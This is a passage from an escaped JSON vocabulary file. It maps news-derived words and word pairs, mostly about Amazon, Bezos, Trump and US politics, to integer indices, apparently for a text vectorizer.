118821,\n  \"partisan politics\": 118822,\n  \"cn\": 118823,\n  \"prominent democratic\": 118824,\n  \"becker roger\": 118825,\n  \"toro patricia\": 118826,\n  \"thinkings\": 118827,\n  \"families learn\": 118828,\n  \"ms treatment\": 118829,\n  \"diverse revenue\": 118830,\n  \"host sergio\": 118831,\n  \"kim jong\": 118832,\n  \"frum contends\": 118833,\n  \"years version\": 118834,\n  \"denny ozens\": 118835,\n  \"gewirtz\": 118836,\n  \"subsidize private\": 118837,\n  \"contribution donating\": 118838,\n  \"opinion 2019\": 118839,\n  \"estimated billion\": 118840,\n  \"skirt collecting\": 118841,\n  \"monitor thousands\": 118842,\n  \"concert hosting\": 118843,\n  \"city amazon\": 118844,\n  \"called terrific\": 118845,\n  \"attn\": 118846,\n  \"stoking\": 118847,\n  \"seconds story\": 118848,\n  \"permas permas\": 118849,\n  \"stated referencing\": 118850,\n  \"1230x1672 uploaded_files\": 118851,\n  \"regulatory affairs\": 118852,\n  \"cuomo certainly\": 118853,\n  \"dems known\": 118854,\n  \"neutrality efforts\": 118855,\n  \"sarah isgur\": 118856,\n  \"stop treating\": 118857,\n  \"fully digested\": 118858,\n  \"demanding answers\": 118859,\n  \"manufacture electronic\": 118860,\n  \"research health\": 118861,\n  \"general jamie\": 118862,\n  \"trading following\": 118863,\n  \"coordinating hush\": 118864,\n  \"emotional woman\": 118865,\n  \"gavin told\": 118866,\n  \"35k\": 118867,\n  \"null skyhorse\": 118868,\n  \"post virginia\": 118869,\n  \"pretty sharply\": 118870,\n  \"local delivery\": 118871,\n  \"opinion quick\": 118872,\n  \"korea threat\": 118873,\n  \"island\": 118874,\n  \"staten island\": 118875,\n  \"different types\": 118876,\n  \"verylong time\": 118877,\n  \"subway tunnels\": 118878,\n  \"khosrowshahi analogy\": 118879,\n  \"response covfefe\": 118880,\n  \"crisis period\": 118881,\n  \"patrol foundation\": 118882,\n  \"signficant meetings\": 118883,\n  \"man says\": 118884,\n  \"2016 sent\": 118885,\n  \"favorable cost\": 118886,\n  \"ziegler\": 118887,\n  \"taxes taxes\": 118888,\n  \"mccain hadn\": 118889,\n  \"ceo ownership\": 118890,\n  \"glit\": 118891,\n  \"193 advantage\": 118892,\n  \"glee\": 118893,\n  \"work faster\": 118894,\n  \"minecraft product\": 118895,\n  \"couple jason\": 118896,\n  \"direct inquires\": 118897,\n  \"tom leonard\": 118898,\n  \"headwinds story\": 118899,\n  \"airport arrivals\": 118900,\n  \"sum ending\": 118901,\n  \"o1 bu0yhealth\": 118902,\n  \"facebook suspends\": 118903,\n  \"data transfers\": 118904,\n  \"border creating\": 118905,\n  \"ben veniste\": 118906,\n  \"printed copy\": 118907,\n  \"immigration history\": 118908,\n  \"discussing somebody\": 118909,\n  \"threatening anti\": 118910,\n  \"wrote california\": 118911,\n  \"inside foreman\": 118912,\n  \"character relationships\": 118913,\n  \"livestock\": 118914,\n  \"lgbt\": 118915,\n  \"devoted groups\": 118916,\n  \"vouching\": 118917,\n  \"poop\": 118918,\n  \"proven inadequate\": 118919,\n  \"bisexual\": 118920,\n  \"markets trump\": 118921,\n  \"reed traveled\": 118922,\n  \"business cvs\": 118923,\n  \"authorities seeking\": 118924,\n  \"finance services\": 118925,\n  \"provisionally approved\": 118926,\n  \"amazon broadway\": 118927,\n  \"pharma trick\": 118928,\n  \"morethe\": 118929,\n  \"recently signed\": 118930,\n  \"state approach\": 118931,\n  \"blonds draw\": 118932,\n  \"conversation guidelines\": 118933,\n  \"steve dietl\": 118934,\n  \"unwitting hostage\": 118935,\n  \"unbiased sellers\": 118936,\n  \"bbt atob\": 118937,\n  \"return correspondent\": 118938,\n  \"stephanopoulos kudlow\": 118939,\n  \"sushmita\": 118940,\n  \"casone yes\": 118941,\n  \"bubble wrap\": 118942,\n  \"robert klieger\": 118943,\n  \"kyle lowry\": 118944,\n  \"vadata\": 118945,\n  \"kashmir\": 118946,\n  \"constitution just\": 118947,\n  \"engulfs riverdale\": 118948,\n  \"contract business\": 118949,\n  \"employees did\": 118950,\n  \"shop products\": 118951,\n  \"gulftimes barclays\": 118952,\n  \"ente\": 118953,\n  \"american way\": 118954,\n  \"companies targeted\": 118955,\n  \"security meaning\": 118956,\n  \"sanders introduced\": 118957,\n  \"westneat\": 118958,\n  \"tout suite\": 118959,\n  \"airstrip\": 118960,\n  \"magazine did\": 118961,\n  \"rights activist\": 118962,\n  \"trump dangerous\": 118963,\n  \"huge federal\": 118964,\n  \"negatively\": 118965,\n  \"ride wait\": 118966,\n  \"bezos simply\": 118967,\n  \"permanent human\": 118968,\n  \"indicative\": 118969,\n  \"office dumber\": 118970,\n  \"retail devices\": 118971,\n  \"cmc\": 118972,\n  \"blackmail expires\": 118973,\n  \"national magazine\": 118974,\n  \"number led\": 118975,\n  \"venders write\": 118976,\n  \"cbs boeing\": 118977,\n  \"brand instead\": 118978,\n  \"ice skating\": 118979,\n  \"boggling\": 118980,\n  \"parscale\": 118981,\n  \"hill ore\": 118982,\n  \"trump good\": 118983,\n  \"rodriguez candidacy\": 118984,\n  \"walmart boycott\": 118985,\n  \"312 000\": 118986,\n  \"recode amazon\": 118987,\n  \"carell transformed\": 118988,\n  \"tourist killed\": 118989,\n  \"reform especially\": 118990,\n  \"amazon otherworld\": 118991,\n  \"pecker\": 118992,\n  \"party including\": 118993,\n  \"portfolio national\": 118994,\n  \"kyodo news\": 118995,\n  \"defeat trump\": 118996,\n  \"adam putnam\": 118997,\n  \"positive treatment\": 118998,\n  \"business activities\": 118999,\n  \"buy photo\": 119000,\n  \"bezos 112\": 119001,\n  \"stanage niallstanage\": 119002,\n  \"payout\": 119003,\n  \"flattering stories\": 119004,\n  \"class systems\": 119005,\n  \"solve levels\": 119006,\n  \"mngmt americas\": 119007,\n  \"accelerated gentrification\": 119008,\n  \"messaging isn\": 119009,\n  \"wood\": 119010,\n  \"absolutely change\": 119011,\n  \"female warriors\": 119012,\n  \"possible data\": 119013,\n  \"jogger attacked\": 119014,\n  \"bannon happens\": 119015,\n  \"fb trump\": 119016,\n  \"florida majority\": 119017,\n  \"king medium\": 119018,\n  \"startups\": 119019,\n  \"dick pics\": 119020,\n  \"affairs agency\": 119021,\n  \"free checked\": 119022,\n  \"riders\": 119023,\n  \"couldn figure\": 119024,\n  \"quieted\": 119025,\n  \"hedgerow\": 119026,\n  \"275 year\": 119027,\n  \"ruling provides\": 119028,\n  \"sales increase\": 119029,\n  \"pentagon analysts\": 119030,\n  \"dnc paid\": 119031,\n  \"says hunky\": 119032,\n  \"music services\": 119033,\n  \"mentioned venues\": 119034,\n  \"establish criminal\": 119035,\n  \"civil servants\": 119036,\n  \"massive gold\": 119037,\n  \"cnl_custom_color 0n17_bcccgcccggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg\": 119038,\n  \"dwarfing\": 119039,\n  \"face exhausting\": 119040,\n  \"wax job\": 119041,\n  \"owns 146\": 119042,\n  \"leave options\": 119043,\n  \"wingfield\": 119044,\n  \"west community\": 119045,\n  \"noted previously\": 119046,\n  \"written\": 119047,\n  \"million donation\": 119048,\n  \"cohen stories\": 119049,\n  \"policy specifically\": 119050,\n  \"cowboy hat\": 119051,\n  \"googl free\": 119052,\n  \"farming food\": 119053,\n  \"27101 letters\": 119054,\n  \"pecker offered\": 119055,\n  \"twang\": 119056,\n  \"trumps renegotiated\": 119057,\n  \"record salaries\": 119058,\n  \"set a4ee\": 119059,\n  \"payloads\": 119060,\n  \"cavuto coast\": 119061,\n  \"727\": 119062,\n  \"behemoth known\": 119063,\n  \"project took\": 119064,\n  \"major exporters\": 119065,\n  \"acts follow\": 119066,\n  \"scanners replaced\": 119067,\n  \"region depends\": 119068,\n  \"100 little\": 119069,\n  \"bezos received\": 119070,\n  \"analyst rocky\": 119071,\n  \"enterprise hits\": 119072,\n  \"thumb imagealt\": 119073,\n  \"nyt peter\": 119074,\n  \"verification process\": 119075,\n  \"lives making\": 119076,\n  \"million twitter\": 119077,\n  \"forces bezos\": 119078,\n  \"peter strzok\": 119079,\n  \"000 lives\": 119080,\n  \"nikkei\": 119081,\n  \"87bn related\": 119082,\n  \"limiting toxic\": 119083,\n  \"change williams\": 119084,\n  \"columnist eugene\": 119085,\n  \"dave peyton\": 119086,\n  \"ipcc\": 119087,\n  \"leighton\": 119088,\n  \"rest flowing\": 119089,\n  \"bold risky\": 119090,\n  \"later wage\": 119091,\n  \"afford rent\": 119092,\n  \"underemployed\": 119093,\n  \"shipping package\": 119094,\n  \"took pecker\": 119095,\n  \"banks wings\": 119096,\n  \"counts photo\": 119097,\n  \"entitlements\": 119098,\n  \"declaration josh\": 119099,\n  \"legal analyst\": 119100,\n  \"path\": 119101,\n  \"dilemmas follow\": 119102,\n  \"arabia crown\": 119103,\n  \"alexa controversy\": 119104,\n  \"gettrumpybear\": 119105,\n  \"retailers pain\": 119106,\n  \"shipworks\": 119107,\n  \"account elon\": 119108,\n  \"susceptible\": 119109,\n  \"merely reflects\": 119110,\n  \"frederick wiseman\": 119111,\n  \"stocks rallied\": 119112,\n  \"door desk\": 119113,\n  \"hype drivel\": 119114,\n  \"citi newsroom\": 119115,\n  \"commonwealth stephen\": 119116,\n  \"waits\": 119117,\n  \"intensive work\": 119118,\n  \"bachelor\": 119119,\n  \"van een\": 119120,\n  \"year guidance\": 119121,\n  \"day event\": 119122,\n  \"saving features\": 119123,\n  \"parole\": 119124,\n  \"health trending\": 119125,\n  \"education students\": 119126,\n  \"good hat\": 119127,\n  \"secretary vanity\": 119128,\n  \"share blowing\": 119129,\n  \"package lot\": 119130,\n  \"cnn journalist\": 119131,\n  \"giles\": 119132,\n  \"america tax\": 119133,\n  \"continual basis\": 119134,\n  \"waivers\": 119135,\n  \"raised delivery\": 119136,\n  \"children waiting\": 119137,\n  \"seeing weakness\": 119138,\n  \"reconstructed scenes\": 119139,\n  \"report underscores\": 119140,\n  \"upcoming investor\": 119141,\n  \"economist jeff\": 119142,\n  \"commerce digital\": 119143,\n  \"cnk\": 119144,\n  \"developer plaxall\": 119145,\n  \"different world\": 119146,\n  \"consulting role\": 119147,\n  \"fight response\": 119148,\n  \"shocking practices\": 119149,\n  \"john slattery\": 119150,\n  \"senators asked\": 119151,\n  \"tag skills\": 119152,\n  \"public media\": 119153,\n  \"europe union\": 119154,\n  \"everyman\": 119155,\n  \"mailbox amazon\": 119156,\n  \"retaliated\": 119157,\n  \"projecting 789\": 119158,\n  \"amazon macy\": 119159,\n  \"canals\": 119160,\n  \"prominent literary\": 119161,\n  \"amzn works\": 119162,\n  \"cupertino\": 119163,\n  \"enjoying positive\": 119164,\n  \"suggested forcing\": 119165,\n  \"act debate\": 119166,\n  \"finds parts\": 119167,\n  \"certain electric\": 119168,\n  \"facebook raise\": 119169,\n  \"hearings scheduled\": 119170,\n  \"sheer vengeance\": 119171,\n  \"inevitably students\": 119172,\n  \"quarter helping\": 119173,\n  \"events held\": 119174,\n  \"weeks billionaire\": 119175,\n  \"us69\": 119176,\n  \"photography mattresses\": 119177,\n  \"threat isn\": 119178,\n  \"total includes\": 119179,\n  \"taking credit\": 119180,\n  \"interrupts meghan\": 119181,\n  \"marvel role\": 119182,\n  \"increased regulatory\": 119183,\n  \"change 882\": 119184,\n  \"large employers\": 119185,\n  \"recently enlisted\": 119186,\n  \"fan boy\": 119187,\n  \"joe jarvis\": 119188,\n  \"unveiled president\": 119189,\n  \"flash briefing\": 119190,\n  \"create marketplace\": 119191,\n  \"reddit posters\": 119192,\n  \"eviscerated\": 119193,\n  \"jobs created\": 119194,\n  \"serve simmered\": 119195,\n  \"patiently waited\": 119196,\n  \"appropriate safety\": 119197,\n  \"exasperating\": 119198,\n  \"amazon unsafe\": 119199,\n  \"difficult smith\": 119200,\n  \"uk labour\": 119201,\n  \"bad stock\": 119202,\n  \"preempt\": 119203,\n  \"stocks suitable\": 119204,\n  \"rightful claim\": 119205,\n  \"sydney bristow\": 119206,\n  \"shelter false\": 119207,\n  \"office concerned\": 119208,\n  \"014 shares\": 119209,\n  \"bezos moved\": 119210,\n  \"498 raised\": 119211,\n  \"redwood california\": 119212,\n  \"reads companies\": 119213,\n  \"prioritize convenience\": 119214,\n  \"english declined\": 119215,\n  \"best horror\": 119216,\n  \"microsoft did\": 119217,\n  \"recent trump\": 119218,\n  \"explicitly named\": 119219,\n  \"analog\": 119220,\n  \"carolinas hurricane\": 119221,\n  \"dispatch support\": 119222,\n  \"respects amazon\": 119223,\n  \"thought leaders\": 119224,\n  \"pharmaceutical economist\": 119225,\n  \"daily signups\": 119226,\n  \"cashless businesses\": 119227,\n  \"administrative improbity\": 119228,\n  \"industrial agriculture\": 119229,\n  \"jim dinegar\": 119230,\n  \"mixtapes\": 119231,\n  \"jones knockout\": 119232,\n  \"lethality\": 119233,\n  \"presidential election\": 119234,\n  \"don publish\": 119235,\n  \"particularly ironic\": 119236,\n  \"rename\": 119237,\n  \"secretly renegotiate\": 119238,\n  \"total normal\": 119239,\n  \"trump linked\": 119240,\n  \"food business\": 119241,\n  \"amazon conjured\": 119242,\n  \"regional manufacturing\": 119243,\n  \"pundits trump\": 119244,\n  \"sale especially\": 119245,\n  \"focused enterprise\": 119246,\n  \"yodeling\": 119247,\n  \"antitrust task\": 119248,\n  \"sector cloud\": 119249,\n  \"tax plan\": 119250,\n  \"customers disliking\": 119251,\n  \"loss feel\": 119252,\n  \"check betraying\": 119253,\n  \"amazon succeeded\": 119254,\n  \"charge financial\": 119255,\n  \"richest men\": 119256,\n  \"exhales\": 119257,\n  \"safety features\": 119258,\n  \"nasa turns\": 119259,\n  \"report similar\": 119260,\n  \"federal authorizations\": 119261,\n  \"waxwork\": 119262,\n  \"meat surges\": 119263,\n  \"budget office\": 119264,\n  \"appreciation quote\": 119265,\n  \"hua chunying\": 119266,\n  \"administration cabinet\": 119267,\n  \"common courtesy\": 119268,\n  \"omg cancel\": 119269,\n  \"look deep\": 119270,\n  \"surfer\": 119271,\n  \"senior associate\": 119272,\n  \"disease\": 119273,\n  \"000 authorities\": 119274,\n  \"project wanderer\": 119275,\n  \"seduce liberals\": 119276,\n  \"supremely\": 119277,\n  \"brazilian people\": 119278,\n  \"worse home\": 119279,\n  \"disclosure comcast\": 119280,\n  \"relief\": 119281,\n  \"toronto makes\": 119282,\n  \"notable title\": 119283,\n  \"night special\": 119284,\n  \"turns investor\": 119285,\n  \"steyer\": 119286,\n  \"khashoggi bezos\": 119287,\n  \"pelosi position\": 119288,\n  \"investors focused\": 119289,\n  \"suburban southern\": 119290,\n  \"medically needy\": 119291,\n  \"raunchy messages\": 119292,\n  \"shape decisions\": 119293,\n  \"director nominations\": 119294,\n  \"folks making\": 119295,\n  \"innocent man\": 119296,\n  \"technology antitrust\": 119297,\n  \"kafka based\": 119298,\n  \"vaccine books\": 119299,\n  \"peels\": 119300,\n  \"mandela death\": 119301,\n  \"thomas dodd\": 119302,\n  \"setup\": 119303,\n  \"meyerowitz stories\": 119304,\n  \"saul bellow\": 119305,\n  \"lobbyists just\": 119306,\n  \"general leads\": 119307,\n  \"editor gene\": 119308,\n  \"corroborated\": 119309,\n  \"seattle continue\": 119310,\n  \"potential regulatory\": 119311,\n  \"false claim\": 119312,\n  \"looming competition\": 119313,\n  \"business minded\": 119314,\n  \"demoting competitors\": 119315,\n  \"ensure confidentiality\": 119316,\n  \"trump david\": 119317,\n  \"getty president\": 119318,\n  \"counter today\": 119319,\n  \"69m\": 119320,\n  \"monopsony\": 119321,\n  \"hakeem jeffries\": 119322,\n  \"scandal bezos\": 119323,\n  \"extra money\": 119324,\n  \"ha moment\": 119325,\n  \"ami wanted\": 119326,\n  \"currency hedging\": 119327,\n  \"forces embedded\": 119328,\n  \"physical assault\": 119329,\n  \"procurement experts\": 119330,\n  \"amazon group\": 119331,\n  \"read nonfiction\": 119332,\n  \"dumpty\": 119333,\n  \"fat wringer\": 119334,\n  \"existing homes\": 119335,\n  \"just shovel\": 119336,\n  \"recent investor\": 119337,\n  \"breaks understand\": 119338,\n  \"crp gives\": 119339,\n  \"instant newsom\": 119340,\n  \"publication purchases\": 119341,\n  \"kominsky method\": 119342,\n  \"assuaged\": 119343,\n  \"fries yup\": 119344,\n  \"race richard\": 119345,\n  \"horowitz don\": 119346,\n  \"description videocardcontents\": 119347,\n  \"ford washington\": 119348,\n  \"practically daringthe\": 119349,\n  \"empirestatebldg\": 119350,\n  \"100 accounts\": 119351,\n  \"job killer\": 119352,\n  \"mediatek\": 119353,\n  \"nixon won\": 119354,\n  \"world poorest\": 119355,\n  \"knowledge decried\": 119356,\n  \"microphone greer\": 119357,\n  \"news nation\": 119358,\n  \"dear netflix\": 119359,\n  \"favors commercialization\": 119360,\n  \"cork dailytrust\": 119361,\n  \"sen amy\": 119362,\n  \"reality complexity\": 119363,\n  \"test skills\": 119364,\n  \"broadcasting team\": 119365,\n  \"unfairly low\": 119366,\n  \"gone make\": 119367,\n  \"time quinnipiac\": 119368,\n  \"root problem\": 119369,\n  \"intertwining\": 119370,\n  \"privilege opportunity\": 119371,\n  \"socks hair\": 119372,\n  \"kavanaugh forced\": 119373,\n  \"heroin\": 119374,\n  \"totaling 133\": 119375,\n  \"heir amazon\": 119376,\n  \"medium box\": 119377,\n  \"business produced\": 119378,\n  \"muckerman thanks\": 119379,\n  \"adverse impact\": 119380,\n  \"signature tuft\": 119381,\n  \"deeply ironic\": 119382,\n  \"blue sidewalk\": 119383,\n  \"did\": 119384,\n  \"bezos money\": 119385,\n  \"joe manchin\": 119386,\n  \"onplayerready function\": 119387,\n  \"providers providing\": 119388,\n  \"news tags\": 119389,\n  \"brands scott\": 119390,\n  \"months specifically\": 119391,\n  \"charges rent\": 119392,\n  \"wine folly\": 119393,\n  \"emarkter\": 119394,\n  \"mankind heart\": 119395,\n  \"post paying\": 119396,\n  \"korea slow\": 119397,\n  \"madison smith\": 119398,\n  \"vet funeral\": 119399,\n  \"big birthday\": 119400,\n  \"pure unfussy\": 119401,\n  \"potential reforms\": 119402,\n  \"rules took\": 119403,\n  \"publication date\": 119404,\n  \"image 1150x540\": 119405,\n  \"drivers applicants\": 119406,\n  \"demonstrate outside\": 119407,\n  \"broad consensus\": 119408,\n  \"pickup trucks\": 119409,\n  \"stagnate\": 119410,\n  \"najarian true\": 119411,\n  \"best equity\": 119412,\n  \"university demonstrated\": 119413,\n  \"special example\": 119414,\n  \"ending contracts\": 119415,\n  \"prospectors\": 119416,\n  \"moves reminiscent\": 119417,\n  \"freedoms asked\": 119418,\n  \"official retail\": 119419,\n  \"lawyers tried\": 119420,\n  \"trump bashes\": 119421,\n  \"trump train\": 119422,\n  \"ago accusing\": 119423,\n  \"postal customers\": 119424,\n  \"reuters companies\": 119425,\n  \"olivia holt\": 119426,\n  \"facebook copied\": 119427,\n  \"ipad\": 119428,\n  \"visit tri\": 119429,\n  \"tabloid wouldn\": 119430,\n  \"men basketball\": 119431,\n  \"enquirer initial\": 119432,\n  \"reportedly accepted\": 119433,\n  \"paper makes\": 119434,\n  \"autistic\": 119435,\n  \"deter online\": 119436,\n  \"security consultant\": 119437,\n  \"focus viewed\": 119438,\n  \"ground insights\": 119439,\n  \"experience app\": 119440,\n  \"posterimageoverride\": 119441,\n  \"techno sexual\": 119442,\n  \"183\": 119443,\n  \"firms need\": 119444,\n  \"smart things\": 119445,\n  \"just stop\": 119446,\n  \"association sponsored\": 119447,\n  \"provided business\": 119448,\n  \"important governmental\": 119449,\n  \"fiscal 2018\": 119450,\n  \"share beating\": 119451,\n  \"statement laying\": 119452,\n  \"david ohlin\": 119453,\n  \"election davie\": 119454,\n  \"linen card\": 119455,\n  \"journalistic scoop\": 119456,\n  \"sarah wilson\": 119457,\n  \"foods cattle\": 119458,\n  \"foundation acquired\": 119459,\n  \"480\": 119460,\n  \"cannibas cultivator\": 119461,\n  \"2027 regardless\": 119462,\n  \"orders china\": 119463,\n  \"rupi kaur\": 119464,\n  \"day cost\": 119465,\n  \"romania\": 119466,\n  \"infringement case\": 119467,\n  \"european nation\": 119468,\n  \"inside warehouses\": 119469,\n  \"prepared research\": 119470,\n  \"story asian\": 119471,\n  \"treadmill\": 119472,\n  \"parents live\": 119473,\n  \"financial state\": 119474,\n  \"sadh\": 119475,\n  \"revealed writedown\": 119476,\n  \"grow new\": 119477,\n  \"content provided\": 119478,\n  \"broad mandate\": 119479,\n  \"tsorf33 atsocialmedia\": 119480,\n  \"clients net\": 119481,\n  \"honey robinson\": 119482,\n  \"illegal arrest\": 119483,\n  \"trading cnn\": 119484,\n  \"tends\": 119485,\n  \"blackmail involving\": 119486,\n  \"preventing amazon\": 119487,\n  \"qualitative\": 119488,\n  \"hyphens\": 119489,\n  \"americanos\": 119490,\n  \"steady trump\": 119491,\n  \"asset group\": 119492,\n  \"emails apparently\": 119493,\n  \"trump vaguely\": 119494,\n  \"bought drugstore\": 119495,\n  \"385 million\": 119496,\n  \"offering qualifying\": 119497,\n  \"fbi president\": 119498,\n  \"run network\": 119499,\n  \"events lindsey\": 119500,\n  \"og\": 119501,\n  \"website showed\": 119502,\n  \"amazon met\": 119503,\n  \"structured speech\": 119504,\n  \"created founded\": 119505,\n  \"stephanie murphy\": 119506,\n  \"signed technological\": 119507,\n  \"california masks\": 119508,\n  \"visionary genre\": 119509,\n  \"generation college\": 119510,\n  \"capita\": 119511,\n  \"nungesser joyfully\": 119512,\n  \"striking nerve\": 119513,\n  \"article coby\": 119514,\n  \"olympic committee\": 119515,\n  \"students defied\": 119516,\n  \"agenda just\": 119517,\n  \"barrel brent\": 119518,\n  \"eventually led\": 119519,\n  \"angie thomas\": 119520,\n  \"struck new\": 119521,\n  \"global initiative\": 119522,\n  \"fired shotgun\": 119523,\n  \"season boyce\": 119524,\n  \"make 300\": 119525,\n  \"vera parra\": 119526,\n  \"judicial\": 119527,\n  \"messages online\": 119528,\n  \"chukumba managing\": 119529,\n  \"expansionary\": 119530,\n  \"insider cnn\": 119531,\n  \"impeachment trump\": 119532,\n  \"city councils\": 119533,\n  \"impersonal carell\": 119534,\n  \"granholm\": 119535,\n  \"hill newspaper\": 119536,\n  \"senate oneplus\": 119537,\n  \"obama began\": 119538,\n  \"despite facing\": 119539,\n  \"urgent issues\": 119540,\n  \"security firm\": 119541,\n  \"chip bergh\": 119542,\n  \"establishing headquarters\": 119543,\n  \"mean tweets\": 119544,\n  \"politicians manipulative\": 119545,\n  \"summit moscow\": 119546,\n  \"sununu republican\": 119547,\n  \"fading\": 119548,\n  \"ecommerce exports\": 119549,\n  \"supremely worthy\": 119550,\n  \"corruption prosecutor\": 119551,\n  \"hurt economy\": 119552,\n  \"simple explanation\": 119553,\n  \"quick bite\": 119554,\n  \"miles long\": 119555,\n  \"judging amazon\": 119556,\n  \"audible did\": 119557,\n  \"2010s\": 119558,\n  \"sacrosanct\": 119559,\n  \"eu ideas\": 119560,\n  \"view intel\": 119561,\n  \"open ended\": 119562,\n  \"slow factory\": 119563,\n  \"services recommends\": 119564,\n  \"worker spokesperson\": 119565,\n  \"second andthird\": 119566,\n  \"lawyers set\": 119567,\n  \"added rick\": 119568,\n  \"chain dick\": 119569,\n  \"wives children\": 119570,\n  \"planning efforts\": 119571,\n  \"entertainment capital\": 119572,\n  \"sales\": 119573,\n  \"beachhead\": 119574,\n  \"2018 blockchain\": 119575,\n  \"organization declared\": 119576,\n  \"campaign sources\": 119577,\n  \"historic unlikely\": 119578,\n  \"market personal\": 119579,\n  \"bestsellers normally\": 119580,\n  \"waged repeated\": 119581,\n  \"year sanders\": 119582,\n  \"295 distinct\": 119583,\n  \"proudly owning\": 119584,\n  \"hearst\": 119585,\n  \"technology companies\": 119586,\n  \"hutton ordinary\": 119587,\n  \"social stature\": 119588,\n  \"iran north\": 119589,\n  \"named deputy\": 119590,\n  \"exclusion order\": 119591,\n  \"properly controlled\": 119592,\n  \"includinga billion\": 119593,\n  \"heavily criticized\": 119594,\n  \"whichis\": 119595,\n  \"md sends\": 119596,\n  \"z0\": 119597,\n  \"bezos patronage\": 119598,\n  \"single country\": 119599,\n  \"tax revenues\": 119600,\n  \"mineral wealth\": 119601,\n  \"ex industry\": 119602,\n  \"howls\": 119603,\n  \"daycare teacher\": 119604,\n  \"met russian\": 119605,\n  \"procedures says\": 119606,\n  \"reportedly led\": 119607,\n  \"latest stocks\": 119608,\n  \"national legislatures\": 119609,\n  \"cuomo claim\": 119610,\n  \"mail expansions\": 119611,\n  \"zhu yuelai\": 119612,\n  \"information obtained\": 119613,\n  \"trump looked\": 119614,\n  \"hedgehog live\": 119615,\n  \"amazon erasing\": 119616,\n  \"eons\": 119617,\n  \"bad city\": 119618,\n  \"composite fell\": 119619,\n  \"sec pushes\": 119620,\n  \"emblem\": 119621,\n  \"contains slew\": 119622,\n  \"thatrather\": 119623,\n  \"flimsier\": 119624,\n  \"net toronto\": 119625,\n  \"132 page\": 119626,\n  \"fridays\": 119627,\n  \"hearing kavanaugh\": 119628,\n  \"agency recommends\": 119629,\n  \"content gerald\": 119630,\n  \"ask people\": 119631,\n  \"sees gael\": 119632,\n  \"place win\": 119633,\n  \"gov phil\": 119634,\n  \"immediately relieve\": 119635,\n  \"facial rekognition\": 119636,\n  \"pew\": 119637,\n  \"best quick\": 119638,\n  \"trump cave\": 119639,\n  \"escape taxes\": 119640,\n  \"companys cloud\": 119641,\n  \"la love\": 119642,\n  \"feat octavio\": 119643,\n  \"time trumpstore\": 119644,\n  \"pubgclips\": 119645,\n  \"individuals inside\": 119646,\n  \"important contributor\": 119647,\n  \"showrunner bryan\": 119648,\n  \"46th governor\": 119649,\n  \"cornell tech\": 119650,\n  \"adviser 2019\": 119651,\n  \"sienna received\": 119652,\n  \"bohemian heterosexual\": 119653,\n  \"retailer appears\": 119654,\n  \"firecracker allows\": 119655,\n  \"brightest winners\": 119656,\n  \"qanon shirt\": 119657,\n  \"ascended easily\": 119658,\n  \"writing brad\": 119659,\n  \"roku recent\": 119660,\n  \"westworld\": 119661,\n  \"reach market\": 119662,\n  \"dying american\": 119663,\n  \"follow 4355\": 119664,\n  \"negative connotations\": 119665,\n  \"consoles\": 119666,\n  \"court blocking\": 119667,\n  \"opening second\": 119668,\n  \"countless\": 119669,\n  \"republican fcc\": 119670,\n  \"mass essential\": 119671,\n  \"critics trump\": 119672,\n  \"ended lower\": 119673,\n  \"alatriste city\": 119674,\n  \"228\": 119675,\n  \"mccann managing\": 119676,\n  \"tweeted minutes\": 119677,\n  \"jr size\": 119678,\n  \"vehicle revolution\": 119679,\n  \"followed critical\": 119680,\n  \"opined\": 119681,\n  \"dollar companies\": 119682,\n  \"president glenn\": 119683,\n  \"ndaa\": 119684,\n  \"steamy text\": 119685,\n  \"alice miranda\": 119686,\n  \"semitic\": 119687,\n  \"liberties director\": 119688,\n  \"null inc_custom_teaser\": 119689,\n  \"megyn kellys\": 119690,\n  \"newspaper new\": 119691,\n  \"numbers people\": 119692,\n  \"slapped google\": 119693,\n  \"albin lohr\": 119694,\n  \"windows\": 119695,\n  \"gusher\": 119696,\n  \"000 deaths\": 119697,\n  \"shelves plans\": 119698,\n  \"schar school\": 119699,\n  \"baseball caps\": 119700,\n  \"banking watchdog\": 119701,\n  \"donations meaning\": 119702,\n  \"nvidia announced\": 119703,\n  \"wrote thanks\": 119704,\n  \"howard notes\": 119705,\n  \"shoaib\": 119706,\n  \"partnered\": 119707,\n  \"dark turn\": 119708,\n  \"ellison argued\": 119709,\n  \"shipping volume\": 119710,\n  \"transcript transcription\": 119711,\n  \"leaving viewers\": 119712,\n  \"articles lawmakers\": 119713,\n  \"days bbc\": 119714,\n  \"planet worth\": 119715,\n  \"active discussions\": 119716,\n  \"j1 _self\": 119717,\n  \"aurora holds\": 119718,\n  \"firms hired\": 119719,\n  \"loaned\": 119720,\n  \"reel trump\": 119721,\n  \"retailing behemoth\": 119722,\n  \"2019 representatives\": 119723,\n  \"5etweetembed\": 119724,\n  \"pose greater\": 119725,\n  \"order meant\": 119726,\n  \"wehave previously\": 119727,\n  \"established procedures\": 119728,\n  \"feel particularly\": 119729,\n  \"david kully\": 119730,\n  \"stalling\": 119731,\n  \"government administration\": 119732,\n  \"term profits\": 119733,\n  \"abound\": 119734,\n  \"tech shooting\": 119735,\n  \"entering manhattan\": 119736,\n  \"presto\": 119737,\n  \"york version\": 119738,\n  \"tusk\": 119739,\n  \"dead including\": 119740,\n  \"tags fear\": 119741,\n  \"business ray\": 119742,\n  \"lunch jim\": 119743,\n  \"group cto\": 119744,\n  \"does political\": 119745,\n  \"domestic labor\": 119746,\n  \"wayward son\": 119747,\n  \"249 points\": 119748,\n  \"sector sparked\": 119749,\n  \"ignores trump\": 119750,\n  \"agency adopted\": 119751,\n  \"planned love\": 119752,\n  \"battle deputy\": 119753,\n  \"voters viewed\": 119754,\n  \"gruesome information\": 119755,\n  \"matt marcophones\": 119756,\n  \"politico amanda\": 119757,\n  \"choices according\": 119758,\n  \"integrated transportation\": 119759,\n  \"rate offerings\": 119760,\n  \"individual income\": 119761,\n  \"ugliest act\": 119762,\n  \"polls archive\": 119763,\n  \"alice rohrwacher\": 119764,\n  \"496 billion\": 119765,\n  \"concerning readers\": 119766,\n  \"asked tory\": 119767,\n  \"freelance author\": 119768,\n  \"identification number\": 119769,\n  \"humayun khan\": 119770,\n  \"braces\": 119771,\n  \"1973 film\": 119772,\n  \"takes frequent\": 119773,\n  \"crimes notably\": 119774,\n  \"seller fulfilled\": 119775,\n  \"400 compared\": 119776,\n  \"charges analysts\": 119777,\n  \"potential legal\": 119778,\n  \"amazon logo\": 119779,\n  \"aisle president\": 119780,\n  \"assault human\": 119781,\n  \"chow\": 119782,\n  \"head jeff\": 119783,\n  \"fbi rep\": 119784,\n  \"stabilized building\": 119785,\n  \"alliance cvs\": 119786,\n  